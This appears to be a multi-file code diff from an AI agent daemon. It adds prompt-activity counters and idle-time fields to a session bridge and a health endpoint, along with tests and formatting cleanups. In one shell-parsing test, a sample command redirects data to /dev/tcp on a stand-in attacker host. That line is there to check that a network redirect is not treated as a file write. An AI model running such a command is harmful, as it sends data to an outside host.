const duringPromptActivity = bridge.lastActivityAt;
expect(duringPromptActivity).not.toBeNull();
// Release prompt
releasePrompt!();
await promptPromise;
expect(bridge.activePromptCount).toBe(0);
// lastActivityAt should be updated after prompt ends
expect(bridge.lastActivityAt).toBeGreaterThanOrEqual(duringPromptActivity!);
await bridge.shutdown();
});
it('activePromptCount tracks multiple concurrent sessions', async () => {
const releasers: Array<() => void> = [];
const handles: ChannelHandle[] = [];
const bridge = makeBridge({
channelFactory: async () => {
const h = makeChannel({
promptImpl: () =>
new Promise<PromptResponse>((resolve) => {
releasers.push(() => resolve({ stopReason: 'end_turn' }));
}),
});
handles.push(h);
return h.channel;
},
});
const s1 = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const s2 = await bridge.spawnOrAttach({
workspaceCwd: WS_A,
sessionScope: 'thread',
});
// Start prompts on both sessions
const p1 = bridge.sendPrompt(s1.sessionId, {
sessionId: s1.sessionId,
prompt: [{ type: 'text', text: 'test1' }],
});
const p2 = bridge.sendPrompt(s2.sessionId, {
sessionId: s2.sessionId,
prompt: [{ type: 'text', text: 'test2' }],
});
// Wait for both prompts to reach agents
await vi.waitFor(() => {
const totalPrompts = handles.reduce(
(sum, h) => sum + h.agent.promptCalls.length,
0,
);
expect(totalPrompts).toBeGreaterThanOrEqual(2);
});
expect(bridge.activePromptCount).toBe(2);
// Release first prompt
releasers[0]!();
await p1;
expect(bridge.activePromptCount).toBe(1);
// Release second prompt
releasers[1]!();
await p2;
expect(bridge.activePromptCount).toBe(0);
await bridge.shutdown();
});
it('lastActivityAt updates on prompt start and end', async () => {
let releasePrompt: (() => void) | undefined;
const handle = makeChannel({
promptImpl: () =>
new Promise<PromptResponse>((resolve) => {
releasePrompt = () => resolve({ stopReason: 'end_turn' });
}),
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const afterSpawn = bridge.lastActivityAt!;
// Small delay to ensure timestamp difference
await new Promise((r) => setTimeout(r, 5));
const promptPromise = bridge.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'test' }],
});
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
const afterPromptStart = bridge.lastActivityAt!;
expect(afterPromptStart).toBeGreaterThanOrEqual(afterSpawn);
await new Promise((r) => setTimeout(r, 5));
releasePrompt!();
await promptPromise;
const afterPromptEnd = bridge.lastActivityAt!;
expect(afterPromptEnd).toBeGreaterThanOrEqual(afterPromptStart);
await bridge.shutdown();
});
it('activePromptCount does not go negative when closeSession cancels an active prompt', async () => {
let rejectPrompt: ((error?: unknown) => void) | undefined;
const handle = makeChannel({
promptImpl: () =>
new Promise<PromptResponse>((_resolve, reject) => {
rejectPrompt = reject;
}),
cancelImpl: () => {
rejectPrompt?.(new Error('cancelled'));
},
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const promptResult = bridge
.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'test' }],
})
.then(
() => ({ ok: true as const }),
(error) => ({ ok: false as const, error }),
);
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
expect(bridge.activePromptCount).toBe(1);
await bridge.closeSession(session.sessionId);
expect(bridge.activePromptCount).toBe(0);
const result = await promptResult;
expect(result.ok).toBe(false);
expect(bridge.activePromptCount).toBe(0);
await bridge.shutdown();
});
it('activePromptCount does not go negative when killSession cancels an active prompt', async () => {
let rejectPrompt: ((error?: unknown) => void) | undefined;
const handle = makeChannel({
promptImpl: () =>
new Promise<PromptResponse>((_resolve, reject) => {
rejectPrompt = reject;
}),
cancelImpl: () => {
rejectPrompt?.(new Error('cancelled'));
},
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const promptResult = bridge
.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'test' }],
})
.then(
() => ({ ok: true as const }),
(error) => ({ ok: false as const, error }),
);
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
expect(bridge.activePromptCount).toBe(1);
await bridge.killSession(session.sessionId);
expect(bridge.activePromptCount).toBe(0);
expect(bridge.sessionCount).toBe(0);
const result = await promptResult;
expect(result.ok).toBe(false);
expect(bridge.activePromptCount).toBe(0);
await bridge.shutdown();
});
it('activePromptCount returns to 0 when channel crashes during a hung prompt', async () => {
const handle = makeChannel({
promptImpl: () => new Promise<PromptResponse>(() => {}),
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const promptResult = bridge
.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'test' }],
})
.then(
() => ({ ok: true as const }),
(error) => ({ ok: false as const, error }),
);
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
expect(bridge.activePromptCount).toBe(1);
handle.crash();
await vi.waitFor(() => {
expect(bridge.activePromptCount).toBe(0);
expect(bridge.sessionCount).toBe(0);
});
const result = await promptResult;
expect(result.ok).toBe(false);
expect(bridge.activePromptCount).toBe(0);
await bridge.shutdown();
});
it('queued prompt rejects when the channel crashes before it starts', async () => {
const handle = makeChannel({
promptImpl: () => new Promise<PromptResponse>(() => {}),
});
const bridge = makeBridge({
channelFactory: async () => handle.channel,
});
const session = await bridge.spawnOrAttach({ workspaceCwd: WS_A });
const promptA = bridge
.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'prompt A' }],
})
.then(
() => ({ ok: true as const }),
(error) => ({ ok: false as const, error }),
);
await vi.waitFor(() => {
expect(handle.agent.promptCalls).toHaveLength(1);
});
const promptB = bridge
.sendPrompt(session.sessionId, {
sessionId: session.sessionId,
prompt: [{ type: 'text', text: 'prompt B' }],
})
.then(
() => ({ ok: true as const }),
(error) => ({ ok: false as const, error }),
);
handle.crash();
const [resultA, resultB] = await Promise.all([promptA, promptB]);
expect(handle.agent.promptCalls).toHaveLength(1);
expect(resultA.ok).toBe(false);
expect(resultB.ok).toBe(false);
if (resultB.ok) {
throw new Error('queued prompt unexpectedly resolved');
}
expect(resultB.error).toBeInstanceOf(SessionNotFoundError);
await vi.waitFor(() => {
expect(bridge.activePromptCount).toBe(0);
expect(bridge.sessionCount).toBe(0);
});
await bridge.shutdown();
});
});
/**
* `enqueueMidTurnMessage` backs the web-shell mid-turn drain: the browser
* pushes a message typed during a turn, the ACP child drains it via

View file

@ -870,6 +870,15 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
);
let sessionReaper: ReturnType<typeof setInterval> | undefined;
// Tracks the most recent "activity" event for idle-detection by
// external schedulers. Updated on prompt start/end and session
// spawn/restore. `null` until the first activity after boot.
let lastActivityTimestamp: number | null = null;
let activePromptCounter = 0;
function touchActivity(): void {
lastActivityTimestamp = Date.now();
}
function resolvePositiveFiniteMs(
raw: number | undefined,
fallback: number,
@ -1339,6 +1348,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
} catch {
/* bus already closed */
}
if (sessEntry.promptActive) {
sessEntry.promptActive = false;
activePromptCounter--;
touchActivity();
}
byId.delete(sid);
telemetry.metrics?.sessionLifecycle('die');
// Tombstone the id so any late `extNotification` from the
@ -1723,6 +1737,16 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
return undefined;
};
const assertLivePromptEntry = (
sessionId: string,
entry: SessionEntry,
): void => {
const info = channelInfoForEntry(entry);
if (byId.get(sessionId) !== entry || !info || info.isDying) {
throw new SessionNotFoundError(sessionId);
}
};
const getChannelClosedReject = (info: ChannelInfo): Promise<never> => {
if (!info.statusClosedReject) {
info.statusClosedReject = info.channel.exited.then(() => {
@ -2045,6 +2069,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
};
ci.sessionIds.add(entry.sessionId);
byId.set(entry.sessionId, entry);
touchActivity();
telemetry.metrics?.sessionLifecycle('spawn');
// Drain any guardrail events that fired during this session's
// `newSession` handler (before this entry registered) onto the
@ -2459,6 +2484,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
// closed bus.
permissionMediator.forgetSession(sessionId);
entry.pendingPermissionIds.clear();
if (entry.promptActive) {
entry.promptActive = false;
activePromptCounter--;
touchActivity();
}
byId.delete(sessionId);
telemetry.metrics?.sessionLifecycle('close');
// Tombstone the closed sessionId so any late `extNotification`
@ -2552,6 +2582,20 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
return byId.size;
},
get activePromptCount() {
return activePromptCounter;
},
get lastActivityAt() {
return lastActivityTimestamp;
},
get idleSinceMs() {
return lastActivityTimestamp !== null
? Date.now() - lastActivityTimestamp
: null;
},
isChannelLive() {
return !!liveChannelInfo();
},
@ -2819,6 +2863,7 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
if (signal?.aborted) {
throw new DOMException('Prompt aborted', 'AbortError');
}
assertLivePromptEntry(sessionId, entry);
const requestedRetry =
(req as unknown as { retry?: unknown }).retry === true;
const isRetry = requestedRetry && entry.retryAllowed;
@ -2844,7 +2889,9 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
return copy;
})();
entry.promptActive = true;
activePromptCounter++;
entry.sessionLastSeenAt = Date.now();
touchActivity();
if (originatorClientId === undefined) {
delete entry.activePromptOriginatorClientId;
} else {
@ -2881,15 +2928,23 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
);
}
} catch (echoErr) {
entry.promptActive = false;
delete entry.activePromptOriginatorClientId;
if (entry.promptActive) {
entry.promptActive = false;
activePromptCounter--;
touchActivity();
}
throw echoErr;
}
const promptPromise = entry.connection
.prompt(promptRequest)
.finally(() => {
entry.promptActive = false;
entry.sessionLastSeenAt = Date.now();
if (entry.promptActive) {
entry.promptActive = false;
activePromptCounter--;
entry.sessionLastSeenAt = Date.now();
touchActivity();
}
delete entry.activePromptOriginatorClientId;
if (
entry.clientIds.size === 0 &&
@ -4619,6 +4674,11 @@ export function createAcpSessionBridge(opts: BridgeOptions): AcpSessionBridge {
// byId.get(sessionId) (same order as closeSession).
permissionMediator.forgetSession(sessionId);
entry.pendingPermissionIds.clear();
if (entry.promptActive) {
entry.promptActive = false;
activePromptCounter--;
touchActivity();
}
// Remove from the state eagerly so concurrent `spawnOrAttach`
// can't reattach to a session we're tearing down.
if (defaultEntry === entry) defaultEntry = undefined;

View file

@ -700,6 +700,23 @@ export interface AcpSessionBridge {
*/
isChannelLive(): boolean;
/** Number of sessions with an active prompt (promptActive === true). */
readonly activePromptCount: number;
/**
* Epoch-ms timestamp of the last "activity" event (prompt start/end,
* session spawn/restore). `null` when the daemon has never processed
* any activity since boot.
*/
readonly lastActivityAt: number | null;
/**
* Milliseconds since the last activity event (`Date.now() - lastActivityAt`).
* `null` when no activity has occurred since boot. Computed atomically to
* avoid race windows between reading `lastActivityAt` and `Date.now()`.
*/
readonly idleSinceMs: number | null;
/** Test/inspection hook: number of permission requests awaiting a vote. */
readonly pendingPermissionCount: number;

View file

@ -294,7 +294,10 @@ export function makeChannel(opts: FakeAgentOpts = {}): ChannelHandle {
};
// Spin up the fake agent on the agent side; keep the connection so tests can
// drive client-bound ext-methods (e.g. the mid-turn drain).
handle.agentConnection = new AgentSideConnection(() => handle.agent, agentStream);
handle.agentConnection = new AgentSideConnection(
() => handle.agent,
agentStream,
);
handle.channel = {
stream: clientStream,
exited,

View file

@ -210,8 +210,7 @@ function makeOptions(input: MakeOptionsInput = {}): BuildDaemonStatusOptions {
clearScheduledInterval: () => {},
});
const bridge = {
getDaemonStatusSnapshot: () =>
input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT,
getDaemonStatusSnapshot: () => input.bridgeSnapshot ?? BASE_BRIDGE_SNAPSHOT,
getWorkspaceToolsStatus: async () =>
input.toolsStatus ?? okStatus({ tools: [] }),
} as unknown as AcpSessionBridge;

View file

@ -979,6 +979,15 @@ function fakeBridge(opts: FakeBridgeOpts = {}): FakeBridge {
get sessionCount() {
return calls.length;
},
get activePromptCount() {
return 0;
},
get lastActivityAt() {
return null;
},
get idleSinceMs() {
return null;
},
get pendingPermissionCount() {
return 0;
},
@ -6385,6 +6394,53 @@ describe('createServeApp', () => {
});
});
it('deep=1 includes idle detection fields with no activity', async () => {
const bridge = fakeBridge();
const app = createServeApp(baseOpts, undefined, { bridge });
const res = await request(app)
.get('/health?deep=1')
.set('Host', `127.0.0.1:${baseOpts.port}`);
expect(res.status).toBe(200);
expect(res.body).toMatchObject({
status: 'ok',
activePrompts: 0,
connectedClients: 0,
channelAlive: false,
lastActivityAt: null,
idleSinceMs: null,
});
});
it('deep=1 derives idleSinceMs from the same lastActivityAt snapshot', async () => {
const now = 1_700_000_060_000;
const activityTime = now - 60_000;
const bridge = fakeBridge();
Object.defineProperty(bridge, 'lastActivityAt', {
get() {
return activityTime;
},
});
Object.defineProperty(bridge, 'idleSinceMs', {
get() {
throw new Error('idleSinceMs getter should not be read');
},
});
const nowSpy = vi.spyOn(Date, 'now').mockReturnValue(now);
try {
const app = createServeApp(baseOpts, undefined, { bridge });
const res = await request(app)
.get('/health?deep=1')
.set('Host', `127.0.0.1:${baseOpts.port}`);
expect(res.status).toBe(200);
expect(res.body.lastActivityAt).toBe(
new Date(activityTime).toISOString(),
);
expect(res.body.idleSinceMs).toBe(60_000);
} finally {
nowSpy.mockRestore();
}
});
it('deep=1 returns 503 when bridge state access throws', async () => {
// Simulate a wedged bridge by replacing the getter to throw.
const bridge = fakeBridge();

View file

@ -1220,10 +1220,18 @@ export function createServeApp(
return;
}
try {
const lastActivity = bridge.lastActivityAt;
const now = Date.now();
res.status(200).json({
status: 'ok',
sessions: bridge.sessionCount,
pendingPermissions: bridge.pendingPermissionCount,
activePrompts: bridge.activePromptCount,
connectedClients: getActiveSseCount(),
channelAlive: bridge.isChannelLive(),
lastActivityAt:
lastActivity !== null ? new Date(lastActivity).toISOString() : null,
idleSinceMs: lastActivity !== null ? now - lastActivity : null,
...(rateLimiter ? { rateLimitHits: rateLimiter.getHitCounts() } : {}),
});
} catch (err) {

View file

@ -41,11 +41,11 @@ vi.mock('./LoadingIndicator.js', () => ({
}: {
currentLoadingPhrase?: string;
}) => (
<Text>
LoadingIndicator
{currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''}
</Text>
),
<Text>
LoadingIndicator
{currentLoadingPhrase ? `: ${currentLoadingPhrase}` : ''}
</Text>
),
}));
vi.mock('./ContextSummaryDisplay.js', () => ({

View file

@ -354,10 +354,7 @@ describe('BackgroundTaskRegistry', () => {
isBackgrounded: true,
outputFile: '/tmp/test.jsonl',
});
registry.addPendingApproval(
'paused-approval',
makeApproval('c1', respond),
);
registry.addPendingApproval('paused-approval', makeApproval('c1', respond));
registry.get('paused-approval')!.status = 'paused';
registry.abandon('paused-approval');

View file

@ -63,32 +63,30 @@ describe('startSpeculation', () => {
forkedAgentMocks.runForkedAgent.mockResolvedValue({
jsonResult: { suggestion: '' },
});
forkedAgentMocks.sendMessageStream.mockImplementation(
async function* () {
if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) {
yield {
type: 'chunk',
value: {
candidates: [
{
content: {
parts: [
{
functionCall: {
id: 'call_123',
name: 'read_file',
args: { path: 'a.ts' },
},
forkedAgentMocks.sendMessageStream.mockImplementation(async function* () {
if (forkedAgentMocks.sendMessageStream.mock.calls.length === 1) {
yield {
type: 'chunk',
value: {
candidates: [
{
content: {
parts: [
{
functionCall: {
id: 'call_123',
name: 'read_file',
args: { path: 'a.ts' },
},
],
},
},
],
},
],
},
};
}
},
);
},
],
},
};
}
});
const state = await startSpeculation(config, 'read a.ts');
await vi.waitFor(() => {
@ -97,9 +95,7 @@ describe('startSpeculation', () => {
expect(execute).toHaveBeenCalledOnce();
expect(state.messages[1].parts?.[0].functionCall?.id).toBe('call_123');
expect(state.messages[2].parts?.[0].functionResponse?.id).toBe(
'call_123',
);
expect(state.messages[2].parts?.[0].functionResponse?.id).toBe('call_123');
await abortSpeculation(state);
});

View file

@ -478,7 +478,10 @@ describe('extractShellOperations', () => {
});
it('redirect > /dev/tcp: network socket, not a file write', () => {
const ops = extractShellOperations('echo data > /dev/tcp/evil.com/9000', CWD);
const ops = extractShellOperations(
'echo data > /dev/tcp/evil.com/9000',
CWD,
);
expect(ops).not.toContainEqual(
expect.objectContaining({ filePath: '/dev/tcp/evil.com/9000' }),
);

View file

@ -60,9 +60,7 @@ export async function cleanupOldToolResults(
);
}
if (result.errors > 0) {
debugLogger.warn(
`${result.errors} errors during tool result cleanup`,
);
debugLogger.warn(`${result.errors} errors during tool result cleanup`);
}
return result;

View file

@ -391,11 +391,7 @@ export async function persistAndTruncateToolResult(
`Session tool result budget exhausted (${budgetUsed} + ${byteSize} > ${MAX_SESSION_BYTES}), skipping disk persistence`,
);
return {
content: buildStub(
content,
byteSize,
'(session disk budget exhausted)',
),
content: buildStub(content, byteSize, '(session disk budget exhausted)'),
bytesWritten: 0,
};
}
@ -405,7 +401,9 @@ export async function persistAndTruncateToolResult(
// eslint-disable-next-line no-control-regex
const safeCallId = path.basename(callId).replace(/\x00/g, '_');
if (!safeCallId || safeCallId === '.' || safeCallId === '..') {
debugLogger.warn(`Invalid callId for disk persistence: ${JSON.stringify(callId)}`);
debugLogger.warn(
`Invalid callId for disk persistence: ${JSON.stringify(callId)}`,
);
config.trackToolResultBytes(-byteSize);
return {
content: buildStub(content, byteSize, '(invalid callId)'),
@ -432,10 +430,7 @@ export async function persistAndTruncateToolResult(
} catch (error) {
// Rollback budget reservation on write failure
config.trackToolResultBytes(-byteSize);
debugLogger.warn(
`Failed to persist tool result to ${outputFile}:`,
error,
);
debugLogger.warn(`Failed to persist tool result to ${outputFile}:`, error);
try {
const fallback = await truncateAndSaveToFile(
content,

View file

@ -222,7 +222,10 @@ describe('daemon UI normalizer and transcript reducer', () => {
createDaemonTranscriptState({ now: 1 }),
[
{ type: 'assistant.text.delta', text: 'answer' },
{ type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } },
{
type: 'assistant.usage',
usage: { inputTokens: 100, outputTokens: 20 },
},
{ type: 'assistant.usage', usage: { inputTokens: 5, outputTokens: 3 } },
],
{ now: 2 },
@ -243,7 +246,10 @@ describe('daemon UI normalizer and transcript reducer', () => {
[
{ type: 'assistant.text.delta', text: 'answer' },
// The parent's own round.
{ type: 'assistant.usage', usage: { inputTokens: 100, outputTokens: 20 } },
{
type: 'assistant.usage',
usage: { inputTokens: 100, outputTokens: 20 },
},
// A round from a spawned sub-agent — part of the turn's real cost.
{
type: 'assistant.usage',

View file

@ -20,16 +20,16 @@ const {
mockAddMessage,
mockEndStreaming,
} = vi.hoisted(() => ({
mockPostMessage: vi.fn(),
mockOpenCompletion: vi.fn().mockResolvedValue(undefined),
mockCloseCompletion: vi.fn(),
mockMessageState: {
isStreaming: false,
isWaitingForResponse: false,
},
mockAddMessage: vi.fn(),
mockEndStreaming: vi.fn(),
}));
mockPostMessage: vi.fn(),
mockOpenCompletion: vi.fn().mockResolvedValue(undefined),
mockCloseCompletion: vi.fn(),
mockMessageState: {
isStreaming: false,
isWaitingForResponse: false,
},
mockAddMessage: vi.fn(),
mockEndStreaming: vi.fn(),
}));
const slashSkillsItem: CompletionItem = {
id: 'skills',
@ -592,9 +592,7 @@ describe('App /skills secondary picker', () => {
expect(blurSpy).toHaveBeenCalled();
expect(input.getAttribute('data-empty')).toBe('false');
expect(getRenderedInputText(rendered.container)).toBe(
'draft after escape',
);
expect(getRenderedInputText(rendered.container)).toBe('draft after escape');
expect(mockPostMessage).not.toHaveBeenCalledWith({
type: 'cancelStreaming',
data: {},

View file

@ -75,9 +75,15 @@ function parseDaemonTodoItemsFromEntries(
* side has usage, so the message field stays absent rather than a spurious 0/0.
*/
function mergeAssistantUsage(
a: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined,
b: { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined,
): { inputTokens: number; outputTokens: number; cachedTokens?: number } | undefined {
a:
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
| undefined,
b:
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
| undefined,
):
| { inputTokens: number; outputTokens: number; cachedTokens?: number }
| undefined {
if (!a) return b;
if (!b) return a;
const cachedTokens = (a.cachedTokens ?? 0) + (b.cachedTokens ?? 0);